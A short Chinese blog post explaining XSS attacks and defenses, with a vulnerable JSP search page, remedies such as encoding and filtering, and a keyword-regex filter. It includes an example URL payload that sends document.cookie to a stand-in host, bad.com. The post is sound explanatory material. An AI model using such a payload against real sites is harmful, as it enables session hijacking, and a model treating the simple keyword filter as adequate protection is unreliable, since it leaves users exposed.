美文网首页
XSS 跨站脚本攻击

XSS 跨站脚本攻击

作者: 程序员财富自由之路 | 来源:发表于2016-10-21 16:02 被阅读70次


什么是XSS跨站脚本攻击?

主要是用了 src 这个可与跨站的特性

它指的是恶意攻击者往Web页面里插入恶意的html或脚本代码,当用户浏览该页面时,嵌入Web里面的恶意代码会被执行,从而达到

攻击者的特殊目的。

分成两种:

一种是:可信任链接骗人来点击,目的是劫持用户的cookie;

另一种是:该脚本已经通过此方法注入了DB,每次有人浏览正常的该网站链接都会执行该脚本,理论上JS能做的都可以做。

1、网站A存在XSS漏洞,比如search.jsp页面:<%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%>This is my JSP page. <% request.getParameter("keyword"); %>2、在受害者登录A网站后,攻击者构造了一个可信的URL发给受害者:http://a.com/search.jsp?keyword=window.open("http://bad.com?co

okie="+document.cookie)3、受害者点击可信连接4、恶意代码把受害者的cookie发送到B网站,攻击者获取到受害者的用户身份

3、受害者点击可信连接

4、恶意代码把受害者的cookie发送到B网站,攻击者获取到受害者的用户身份

如何防范?

1.输入/输出编码:比如直接将HTML标签最关键的字符:“<”,“ >”,“ &”等编码转义: <,>,&

2.过滤:将onclick、onmouseover、script、style、iframe等字符串去掉,可根据业务需要保留

3.校验:对用户的输入的信息根据业务规则进行校验

XSS防范总结:

1.要对用户的输入的信息根据业务规则校验

2.对输入做校验,要充分验证数据的长度、字符、格式等

3.对输出做编码、转义或过滤,根据业务需求将要置于的HTML上下文中(包括主体、属性、JS、 CSS或URL)对所有的不可信数据进行恰当转义

给个前端过滤栗子

/*****

*

* 防止XSS 注入

*

****/

Jc.util.checkIllegalXssStrCheck =function(sqlstr){

//包含特殊字符返回true

varpatrn = /javascript|jscript|vbscript/i;

if(patrn.test(sqlstr)) {

returntrue;

}

returnfalse;

}

相关文章

网友评论

      本文标题:XSS 跨站脚本攻击

      本文链接:https://www.haomeiwen.com/subject/tzhcuttx.html